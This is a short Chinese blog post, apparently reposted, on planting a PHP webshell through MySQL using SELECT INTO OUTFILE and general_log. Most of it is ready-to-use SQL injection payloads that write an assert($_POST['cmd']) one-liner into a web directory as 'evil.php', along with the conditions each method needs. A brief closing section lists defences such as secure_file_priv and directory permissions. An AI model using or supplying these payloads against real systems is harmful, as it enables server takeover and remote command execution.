1. 程式人生 > >MySQL 拿 WebShell

MySQL 拿 WebShell

bsh 配置 post 分隔 int style 暫時 關閉 out

兩種常規方法利用 MySQL getshell 的方法:

select … into outfile
general_log

一、select … into outfile 介紹

利用需要滿足以下條件:

對web目錄有寫權限
GPC關閉(能使用單引號)
有絕對路徑(讀文件可以不用,寫文件必須)
沒有配置 –secure-file-priv
姿勢:

有 union
id=2) union select 1,2,3,4,5,6,7,<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
1 無 union id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23 1


其中 fields terminated by 是用來指定列之間分隔符,如果查詢結果為單列則不會插入分隔符,所以必須有多個列才能成功寫入一句話

二、general_log 介紹

利用需要滿足以下條件:

對web目錄有寫權限
GPC關閉(能使用單引號)


有絕對路徑(讀文件可以不用,寫文件必須)
需要能執行多行sql語句
姿勢:

set global general_log=on;
SET global general_log_file=/home/wwwroot/shadowyspirits/evil.php;
SELECT <?php assert($_POST["cmd"]);?>;



設置了 general_log 和 general_log_file 之後所有SQL記錄都會寫入指定的文件,所以會導致 log 文件非常大,推薦只暫時打開

需要註意的是 secure_file_priv 是只讀屬性,如果試圖使用 set global 修改會報如下 Error

Error Code: 1238. Variable secure_file_priv is a read only

三、防禦姿勢

設置 secure_file_prive = null (不允許導入和導出)

防止暴露網站絕對路徑
正確設置 web 目錄權限,除 log、upload 等目錄外不授予寫權限,upload 目錄不授予執行權限

MySQL 拿 WebShell